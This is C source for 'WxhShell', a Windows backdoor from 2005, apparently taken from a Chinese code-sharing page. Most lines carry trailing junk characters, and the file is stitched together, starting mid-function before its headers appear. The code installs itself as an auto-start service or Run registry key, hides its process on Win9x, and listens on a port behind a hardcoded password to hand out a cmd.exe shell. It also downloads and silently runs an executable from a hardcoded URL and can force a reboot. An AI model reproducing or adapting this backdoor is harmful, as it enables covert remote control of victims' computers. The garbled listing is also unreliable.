    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pu OAt  
    else { a[ Y\5Ojm  
    closesocket(wsh); hI6Tp>b*~  
    ExitThread(0); H$M{thW  
    } BJ*8mKi h  
    break; 1`q>*S](  
    } +3d.JQoKl  
  // 获取shell OAiSE`  
  case 's': { v$d^>+Y#  
    CmdShell(wsh); wg}rMJoG|  
    closesocket(wsh); [sc4ULS &  
    ExitThread(0); is6M{K3  
    break; JqTR4[`Z\  
  } Dkyw3*LCn%  
  // 退出 ;N?raz2mEi  
  case 'x': { @3v[L<S{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EvGKcu  
    CloseIt(wsh); D/oO@;`'c  
    break; bAwFC2jO[  
    } }trQ<*D  
  // 离开 crlCN  
  case 'q': { pPH"6   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '7yVvd  
    closesocket(wsh); ,t|qhJF  
    WSACleanup(); Lk`,mjhk  
    exit(1); ~ !7!Y~(+  
    break; bNh~=[E  
        } 4?',E ddo  
  } V2oXg  
  } Xaw&41K  
:8LK}TY7  
  // 提示信息 (Kg( 6E,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AAc*\K  
} XCyAt;neon  
  } f+V^q4  
/oC@:7  
  return; P ~rTuj  
} =u<jxV9  
`)n/J+g  
// shell模块句柄 p%#=OtkC  
int CmdShell(SOCKET sock) ZxoAf;U~  
{ AYHefAF<w  
STARTUPINFO si; VlFhfOR6t  
ZeroMemory(&si,sizeof(si)); 3R?6{.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p/ au.mc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mh"vH0\Lj  
PROCESS_INFORMATION ProcessInfo; XtftG7r9S  
char cmdline[]="cmd"; >k9W+mk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j|w_BO 9  
  return 0; L IN$Y  
} \F8 :6-  
q c DJ  
// 自身启动模式 fl+dL#]  
int StartFromService(void) 9R3YUW}s  
{ 2*pNIc  
typedef struct *}RV)0mif  
{ COFCa&m9c  
  DWORD ExitStatus; r 3FUddF'  
  DWORD PebBaseAddress; B#, TdP]/  
  DWORD AffinityMask; EY}*}-3  
  DWORD BasePriority;  CT[CM+  
  ULONG UniqueProcessId; JWV n@)s  
  ULONG InheritedFromUniqueProcessId; |0$7{nQ  
}   PROCESS_BASIC_INFORMATION; w\%AR1,rs  
;.I,R NM  
PROCNTQSIP NtQueryInformationProcess; fD~f_Wr  
8c<OX!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a"!r]=r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +L-(Lz[p  
!)HB+yr  
  HANDLE             hProcess; a~w l D.P  
  PROCESS_BASIC_INFORMATION pbi; 0NMmN_Lr  
]EfM;'j[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9/dI 6P7  
  if(NULL == hInst ) return 0; ;dqu ld+q  
}~!KjFbs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k.?@qCs[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rOTxD/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .mvpFdn  
EncJB  
  if (!NtQueryInformationProcess) return 0; [?S-on.  
I.{%e;Reg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q 1~3T;Il  
  if(!hProcess) return 0; k*|WI$  
xF8 8'p'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ry`Y +  
Rd ,5 &X$  
  CloseHandle(hProcess); ^+u/Lw&  
UhbGU G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1JY3c M  
if(hProcess==NULL) return 0; n}3fItSJ  
y1t,i. [  
HMODULE hMod; bq"dKN`  
char procName[255]; >slGicZ0  
unsigned long cbNeeded; IP+.L]S  
]}d.h!`<)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iu'At7  
>"<<hjKJ  
  CloseHandle(hProcess); 8?G534*r@2  
gh<2i\})'  
if(strstr(procName,"services")) return 1; // 以服务启动 jPmp=qg"q  
0/fA>%&  
  return 0; // 注册表启动 *x@.$=NF"  
} XpT+xv1`;  
R@lA5w  
// 主模块 j!/=w q  
int StartWxhshell(LPSTR lpCmdLine) ;bYLQ  
{ a=AP*adx8  
  SOCKET wsl; `c'R42S A  
BOOL val=TRUE; P|rreSv*  
  int port=0; *B%ulsm  
  struct sockaddr_in door; \PM5B"MDZ  
p&W{g $D>  
  if(wscfg.ws_autoins) Install(); f!13Ob<8r  
.Gn-`  
port=atoi(lpCmdLine); * %w8bB  
2'7)D}p  
if(port<=0) port=wscfg.ws_port; :0vKt 6>Sp  
_&K>fy3t&  
  WSADATA data; !H4C5wDu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !f)^z9QX8  
wG",Obja  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f_;6uCCO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MOIMW+n  
  door.sin_family = AF_INET; _)-y&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3?uah' D5  
  door.sin_port = htons(port); O%m>4OdH  
3\H0Nkubts  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jI45X22j  
closesocket(wsl); .aD=d\  
return 1; 6&[rA TU+  
} rk< 3QXv  
p$}1V2h;  
  if(listen(wsl,2) == INVALID_SOCKET) { #KwK``XC 4  
closesocket(wsl); :za:gs0  
return 1; 57`9{.HB  
} ]udH`{]  
  Wxhshell(wsl); YV)h"u+@0  
  WSACleanup(); (i>bGmiN  
lj"72   
return 0; D:fLQ8a  
v<V9Z <ub  
} Hi#f Qji  
LseS8F/q  
// 以NT服务方式启动 ]C5/-J,F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2M*84oh8P  
{ 7"s8G 7  
DWORD   status = 0; lJdwbuB6  
  DWORD   specificError = 0xfffffff; xF7q9'/F  
E2( {[J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C~8;2/F7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f<Xi/ (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ue!~|:  
  serviceStatus.dwWin32ExitCode     = 0; #Y<(7  
  serviceStatus.dwServiceSpecificExitCode = 0; TRku(w1f  
  serviceStatus.dwCheckPoint       = 0; N\W4LO6  
  serviceStatus.dwWaitHint       = 0; 4<q'QU#l<  
gYW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TUM7(-,9  
  if (hServiceStatusHandle==0) return; Ou wEO   
3#~w#Q0%  
status = GetLastError(); +JPHQx'W  
  if (status!=NO_ERROR) f~v@;/HL  
{ X$9 "dL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +=g9T`YbE  
    serviceStatus.dwCheckPoint       = 0; (VB-5&b  
    serviceStatus.dwWaitHint       = 0; NG\^>.8  
    serviceStatus.dwWin32ExitCode     = status; ">!<OB  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4=7h1qex  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F9 2et<y.  
    return; 4NRG{FZ9  
  } F8>J(7On  
K&UTs$_cI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $pfN0/`(  
  serviceStatus.dwCheckPoint       = 0; Z{rD4S @^  
  serviceStatus.dwWaitHint       = 0; ,Ep41v;T%`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 CCA}lOG  
} v)-:0 f  
y4`uU1=  
// 处理NT服务事件,比如:启动、停止 )~=g}&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u>h|A(<  
{ 7f#r&~=  
switch(fdwControl) } DQ KfS  
{ P= nu&$;  
case SERVICE_CONTROL_STOP: ^^{7`X u  
  serviceStatus.dwWin32ExitCode = 0; v8NoD_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CK#SD|~:  
  serviceStatus.dwCheckPoint   = 0; l t{yo\  
  serviceStatus.dwWaitHint     = 0; e2vL UlL8  
  { @V71%D8{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =`fz#Mfd  
  } _p,1m[&M  
  return; 8bW,.to(?x  
case SERVICE_CONTROL_PAUSE: OVhtU+r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KXbD7N.  
  break; t7qzAr  
case SERVICE_CONTROL_CONTINUE: *;X,yEK[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8|H^u6+yz  
  break; XpoEZ|0  
case SERVICE_CONTROL_INTERROGATE: ;.#l[  
  break; ^UiSezc I  
}; oV=~ Q#v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 \}%~e  
} ODE^;:z !  
y-k]Tr  
// 标准应用程序主函数 1zlBkK   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P h/!a6y  
{ U[WR?J4~LX  
3{R7y  
// 获取操作系统版本 U7le> d;L  
OsIsNt=GetOsVer(); 7B8.;0X$W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Qo]'xKr  
/Lt Lu  
  // 从命令行安装 1 -:{&!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'c&S%Ra[3G  
o}VW%G"  
  // 下载执行文件 Ct\n1T }  
if(wscfg.ws_downexe) { O.^1r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NI33lp$V  
  WinExec(wscfg.ws_filenam,SW_HIDE); XR.Sm<A[  
} 02 6|u|R  
J'4V_Kjg-  
if(!OsIsNt) { Az4a|.  
// 如果时win9x,隐藏进程并且设置为注册表启动 NkL>ru!b9  
HideProc(); J~(M%] &k^  
StartWxhshell(lpCmdLine); -wUw)gJbM  
} o.M.zkP a  
else ]] Jg%}o  
  if(StartFromService()) _{f7e^;  
  // 以服务方式启动 )9? ^;HS  
  StartServiceCtrlDispatcher(DispatchTable); C Ch38qBp  
else 8zWKKcf7t  
  // 普通方式启动 ^7$V>|  
  StartWxhshell(lpCmdLine); sH `(y)`_  
jI~GRk  
return 0; Sz3Tp5b  
} EL+P,q/b  
kNDN<L  
-eSZpzp  
 0gOB $W  
=========================================== ';.n#  
aH+n]J] =)  
0Er;l|  
X4dXO5\  
H6/C7  
b0ablVk  
" /%9CR'%*c  
sV5S>*A[  
#include <stdio.h> `(6g87h  
#include <string.h> HDV$y=oHh  
#include <windows.h> c>pbRUMH  
#include <winsock2.h> W^Z#_{  
#include <winsvc.h> @A;Ouu(  
#include <urlmon.h> Hb|y`Ok  
t,>j{SK~  
#pragma comment (lib, "Ws2_32.lib") 'awZ-$#  
#pragma comment (lib, "urlmon.lib") |JRaskd  
/By`FW Y  
#define MAX_USER   100 // 最大客户端连接数 dp'xd>m  
#define BUF_SOCK   200 // sock buffer R7j'XU  
#define KEY_BUFF   255 // 输入 buffer }!n90 9 L  
/\C5`>x  
#define REBOOT     0   // 重启 4!^flKZQ  
#define SHUTDOWN   1   // 关机 oNK-^N?-T  
B`1"4[{  
#define DEF_PORT   5000 // 监听端口 `-QY<STTP9  
 ZXL  
#define REG_LEN     16   // 注册表键长度 pR*)\@ma  
#define SVC_LEN     80   // NT服务名长度 "? t@Y  
<oP"kh<D4  
// 从dll定义API "2a&G3}t"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2,.;Mdl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e~iPN.'1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PShluhY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _8eN^oc%  
s!Y`1h{  
// wxhshell配置信息 )/_T`cN  
struct WSCFG { XEvDtDR  
  int ws_port;         // 监听端口 0CFON2I  
  char ws_passstr[REG_LEN]; // 口令 syR +;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y,;$RV@g  
  char ws_regname[REG_LEN]; // 注册表键名 "Nlw&+ c7  
  char ws_svcname[REG_LEN]; // 服务名 ZB@Bj>,b p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >ho$mvT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yYri.n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \~bx%VWW4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X!/o7<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s_`=ugue  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sn6:\X<[  
A(dWA e,  
}; ~D$?.,=l  
,OilGTQ#  
// default Wxhshell configuration ~!A*@a C  
struct WSCFG wscfg={DEF_PORT, E` aAPk_ y  
    "xuhuanlingzhe", e"]*^Q  
    1, U6M3,"?  
    "Wxhshell", ~+r"% KnG  
    "Wxhshell", zJ7=r#b  
            "WxhShell Service", k,UezuV  
    "Wrsky Windows CmdShell Service", dX8N7{"[  
    "Please Input Your Password: ", ]pi8%.d  
  1, r|W 2I,P  
  "http://www.wrsky.com/wxhshell.exe", 5o P 3 1  
  "Wxhshell.exe" ?}D|]i34  
    }; 1y)|m63&  
>nA6w$  
// 消息定义模块 @+(TM5Ub  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ebk_(Py\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5l ioL)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P.Uz[_&l6  
char *msg_ws_ext="\n\rExit."; g k.c"$2  
char *msg_ws_end="\n\rQuit."; \Rff3$  
char *msg_ws_boot="\n\rReboot..."; 0>KW94  
char *msg_ws_poff="\n\rShutdown..."; p[Yja y+  
char *msg_ws_down="\n\rSave to "; WP b4L9<  
K9 tuiD+j  
char *msg_ws_err="\n\rErr!"; %/r}_V(UN  
char *msg_ws_ok="\n\rOK!"; (ev(~Wc  
alB[/.1  
char ExeFile[MAX_PATH]; vsU1Lzna6@  
int nUser = 0; (g>>   
HANDLE handles[MAX_USER]; +>,4d  
int OsIsNt; _ Uxt9 X  
FBCi,_ \4  
SERVICE_STATUS       serviceStatus; ,b/qcu_|-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O^W.5SaR  
z%cpV{Nu  
// 函数声明 f6d:5 X_  
int Install(void); w?LDaSz\t  
int Uninstall(void); Np?%pB!Q  
int DownloadFile(char *sURL, SOCKET wsh); ? h*Ngbj>  
int Boot(int flag); LQs>[3rK  
void HideProc(void); hQT  p&  
int GetOsVer(void); hb_J. Q  
int Wxhshell(SOCKET wsl); |re>YQ!zd  
void TalkWithClient(void *cs); RO?%0-6O&  
int CmdShell(SOCKET sock); zYW+Goz/C  
int StartFromService(void); %Gk?f=e  
int StartWxhshell(LPSTR lpCmdLine); (g8<"< N?  
=ZaTD-%id  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ee0)%hc1t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vg6 ' ^5S7  
3TDjWW;#~  
// 数据结构和表定义 @TTB$  
SERVICE_TABLE_ENTRY DispatchTable[] = }%;o#!<N(@  
{ V&75n.L  
{wscfg.ws_svcname, NTServiceMain}, (6*CORE   
{NULL, NULL} .*bu:FuDE  
}; MI,b`pQ  
Q{~WWv  
// 自我安装 vA r fsgk  
int Install(void) }{(dG7G+  
{ 1oSrhUTy  
  char svExeFile[MAX_PATH]; $%3"@$  
  HKEY key; ? !dy  
  strcpy(svExeFile,ExeFile); v9t26>{~  
[1\k'5rp  
// 如果是win9x系统,修改注册表设为自启动 !M&Qca2  
if(!OsIsNt) { .P|_C.3- l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/ee&sJR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o JLpFL  
  RegCloseKey(key); {vf"`#Q9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `~hB-Z5dI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /7)l22<  
  RegCloseKey(key); L/U^1=Wi*O  
  return 0; \:To>A32  
    } v9<'nU WVR  
  } $z>L $,c>  
} D[NJ{E.{  
else { v|&Nh?r  
hPP,D\#  
// 如果是NT以上系统,安装为系统服务 []vt\I ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *&d>Vk."]  
if (schSCManager!=0) 5a PPq~%  
{ ~T{^7"q\  
  SC_HANDLE schService = CreateService ~'[0-_]=f  
  ( m4<5jC`-M  
  schSCManager, [f?fA[, [  
  wscfg.ws_svcname, BXCB/:0  
  wscfg.ws_svcdisp, r^m8kYezQ  
  SERVICE_ALL_ACCESS, `k 5'nnyP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zree}VqD;5  
  SERVICE_AUTO_START, fnwhkL#8  
  SERVICE_ERROR_NORMAL, O_M2Axm  
  svExeFile, vIL'&~C\y  
  NULL, L>&o_bzp  
  NULL, Qrnc;H9)  
  NULL, m=hlim;P,  
  NULL, v|WTm#  
  NULL [T(XwA)  
  ); gtV^6(Y  
  if (schService!=0) ?51Y&gOEZ  
  { !6R;fD#^s  
  CloseServiceHandle(schService); _>G.  
  CloseServiceHandle(schSCManager); \%qzTk.&r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TspuZR@2  
  strcat(svExeFile,wscfg.ws_svcname); su/!<y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .}wVM`81z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g p2S   
  RegCloseKey(key); 2+2Gl7" s  
  return 0; bI_6';hq!  
    } DxFmsjX[L  
  } S^Lu RF]F  
  CloseServiceHandle(schSCManager); rW8.bMmM  
} aw\\oN*  
} =Ts3O0"[  
x e~lV  
return 1; *WHQ1geI8  
} x?aNK$A~X  
n7J6YtUwP  
// 自我卸载 eVXlQO  
int Uninstall(void) g?e$B}%  
{ bp>-{Nv  
  HKEY key; ;yvx-  
TQ/EH~Sz  
if(!OsIsNt) { JZa^GW:YQh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  rk F>c  
  RegDeleteValue(key,wscfg.ws_regname); y*BS %xTF  
  RegCloseKey(key); ?YeUA =[MC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!xePKvO6k  
  RegDeleteValue(key,wscfg.ws_regname); ko2T9NI:S  
  RegCloseKey(key); YKUb'D:t]  
  return 0; b-d{)-G{(  
  } 9?jD90@ }  
} |2$wJ$ I  
} V>$A\AWw  
else { r~q(m>Ct6  
0bR)]"K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <Va7XX%>  
if (schSCManager!=0) MsaD@JY.y  
{ z f rEM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %M=Ob k  
  if (schService!=0) P?#I9y7iP  
  { _|'e Az   
  if(DeleteService(schService)!=0) { StuQ}  
  CloseServiceHandle(schService); y.xyr"-Q  
  CloseServiceHandle(schSCManager); QgR3kc^7/  
  return 0; )g()b"Z #>  
  } >{v,H Oxl  
  CloseServiceHandle(schService); wX!q dII)  
  } Z~?1xJ&  
  CloseServiceHandle(schSCManager); ^Uj\s /  
} rT&rv^>f  
} THVF(M4v  
ou{}\^DgQ  
return 1; \6{w#HsP8  
} 69 >-  
/S9(rI<'  
// 从指定url下载文件 `/"rs@  
int DownloadFile(char *sURL, SOCKET wsh) V1P]mUs{1  
{ Sj[iKCEKtv  
  HRESULT hr; =T?:b8yV  
char seps[]= "/"; R2e":`0I  
char *token; *N C9S,eSP  
char *file; ]FQO@ y  
char myURL[MAX_PATH]; >!D^F]CH  
char myFILE[MAX_PATH]; SJ4+s4!l <  
ep$C nBwE  
strcpy(myURL,sURL); <T3v|\6~H  
  token=strtok(myURL,seps); `X:o]t@  
  while(token!=NULL) } xy>uT  
  { ?ZqvR^  
    file=token; P[G.LO  
  token=strtok(NULL,seps); As y&X  
  } $ouw *|<  
|= o)|z2  
GetCurrentDirectory(MAX_PATH,myFILE); L&I8lG  
strcat(myFILE, "\\"); \[>Ob  
strcat(myFILE, file); Un~8N  
  send(wsh,myFILE,strlen(myFILE),0); $ #*";b)QY  
send(wsh,"...",3,0); C8xxR~mq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j& H4L  
  if(hr==S_OK) v!>(1ROQ.=  
return 0; or8`.h EHI  
else *%nV<}e^_=  
return 1; xpO'.xEs  
TEzMFu+V  
} 9sgyg3fv>5  
&(Yv&j X  
// 系统电源模块 SyB2A\A  
int Boot(int flag) Fad.!%[  
{ mRNA,*  
  HANDLE hToken; mr 6~8 I  
  TOKEN_PRIVILEGES tkp; EZY <k#  
P,eP>55'K  
  if(OsIsNt) { FJ/c(K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -PG81F&K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^D%hKIT  
    tkp.PrivilegeCount = 1; &tJ!cTA.-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;!C~_{/t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *3Vic  
if(flag==REBOOT) { }x9D;%)/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^5GyW`a}  
  return 0; )Z=S'm k4_  
} XHh!Q0v;  
else { q;)+O#CR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pnpx`u;  
  return 0; 4#D<#!]^  
} 7~I*u6zY  
  } L,+m5wKj[  
  else { }Z,xF`  
if(flag==REBOOT) { 0p31C7!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z{q|HO  
  return 0; >x3$Ld  
} Od,P,t9  
else { *B3 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,u<oAI`  
  return 0; 9'5`0$,|^  
} 9*<=K  
} PsMp &~^  
0D s W1  
return 1; 'Zket=Sm;  
} #$^vP/"$  
Qf .ASC   
// win9x进程隐藏模块 ,O'#7Dj  
void HideProc(void) <NYf!bx  
{ 0DB8[#i%:  
(>R   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h 3`\L4b  
  if ( hKernel != NULL ) wyi%!H  
  { E5+-N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j(>~:9I`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _no;B_m~  
    FreeLibrary(hKernel); 1zP)~p3a  
  } Gpb<,v_3  
Gm.sl},  
return; hRFm]q  
} u(Kof'p7  
h6(\ tRd!\  
// 获取操作系统版本 (rE.ft5$9  
int GetOsVer(void) ~85>.o2RDW  
{ xe&w.aBI>  
  OSVERSIONINFO winfo; t9\}!{<s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N fBH  
  GetVersionEx(&winfo); 2N}UB=J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t8?$q})RL  
  return 1; LZI[5tA"  
  else `Q!#v{  
  return 0; Oj,v88=  
} Q&@e,7]V+  
f =MP1q[  
// 客户端句柄模块 O,[9E  
int Wxhshell(SOCKET wsl) >oGs0mej  
{ B'D\l\w  
  SOCKET wsh; Gv+$7{  
  struct sockaddr_in client; `bJ?8~ 8 *  
  DWORD myID; k E},>+W+  
+}eH,  
  while(nUser<MAX_USER) Py~1xf/  
{ h0oe'Xov  
  int nSize=sizeof(client); b9Mp@I7Q-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t[4V1:  
  if(wsh==INVALID_SOCKET) return 1; /7fD;H^*  
' 5xvR G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'o]kOp@q  
if(handles[nUser]==0) @9e}kiW  
  closesocket(wsh); ak"W/"2:  
else _C54l  
  nUser++; !Pc&Sg  
  } Wi+}qO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fW z=bJ"V  
eq6>C7.$  
  return 0; VxAG= E  
} m|]:oT`M  
Ju@8_ ?8=  
// 关闭 socket A:4?Jd>  
void CloseIt(SOCKET wsh) [aF"5G  
{ %5 ovW<E:  
closesocket(wsh); WS6;ad;|  
nUser--; BS|$-i5L  
ExitThread(0); V)Sw\tS6g  
} 7SJbrOL4Q-  
;u*I#)7  
// 客户端请求句柄 %:!ILN  
void TalkWithClient(void *cs) 2)MX<prH  
{ ?D_^8\R  
E;rS"'D:  
  SOCKET wsh=(SOCKET)cs; `V2doV)  
  char pwd[SVC_LEN]; i?:#lbw_  
  char cmd[KEY_BUFF]; -~Chf4?<4  
char chr[1]; ' +f(9/  
int i,j; dJF3]h Y  
1}Th@Vq  
  while (nUser < MAX_USER) { QJF_ "  
"DC L Z  
if(wscfg.ws_passstr) { ,v#O{ma  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }B ?_>0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M)"'Q6ck=  
  //ZeroMemory(pwd,KEY_BUFF); @gnLY  
      i=0; jR2^n`D  
  while(i<SVC_LEN) { O~#A )d6  
HV=P! v6  
  // 设置超时 1$)}EL   
  fd_set FdRead; & d_2WQ}  
  struct timeval TimeOut; sH.,O9'r  
  FD_ZERO(&FdRead); JLak>MS  
  FD_SET(wsh,&FdRead); GMlJM  
  TimeOut.tv_sec=8; Yq>K1E|  
  TimeOut.tv_usec=0; lFN|)(X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y~k,AJ{ ^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &)izh) FA  
_%wB*u,X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sQmJ3 (:HO  
  pwd=chr[0]; sLd%m+*p  
  if(chr[0]==0xd || chr[0]==0xa) { vc C"  
  pwd=0; 69S*\'L  
  break; j;J`P H  
  } 6F_:,b^  
  i++; Zd}12HFq  
    } &EhOSu  
$/crb8-C  
  // 如果是非法用户,关闭 socket .aQ8I1~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .#}A/V.-Y  
} CI1K:K AM  
_`lPLBr6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +xS<^;   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~NTKWRaR  
Zg9VkL6Z6  
while(1) { CT/>x3o  
5fy{!  
  ZeroMemory(cmd,KEY_BUFF); a$3] `  
quS]26wQz  
      // 自动支持客户端 telnet标准   i1 c[Gk.o  
  j=0; y9U~4  
  while(j<KEY_BUFF) { Tm2+/qO,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *z^Au7,&  
  cmd[j]=chr[0];  s&iu+>  
  if(chr[0]==0xa || chr[0]==0xd) { SmUiH9qNd,  
  cmd[j]=0; QYEGiT   
  break; ?-'GbOr!  
  } pf&U$oR4  
  j++; N%S|Ey@f   
    } 8~sC$sIlE  
p_i',5H(  
  // 下载文件 QJSi|&Rx&?  
  if(strstr(cmd,"http://")) {  K{9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +k V$ @qH  
  if(DownloadFile(cmd,wsh)) )"J1ET,z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uFuP%f!yY  
  else !p Q*m`Xo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9&zQ 5L>  
  } qIxe)+.  
  else {  81!gp7c  
+LlAGg]Z  
    switch(cmd[0]) { I#'yy7J  
  U, 8mYv2|  
  // 帮助 BKV:U\QZ  
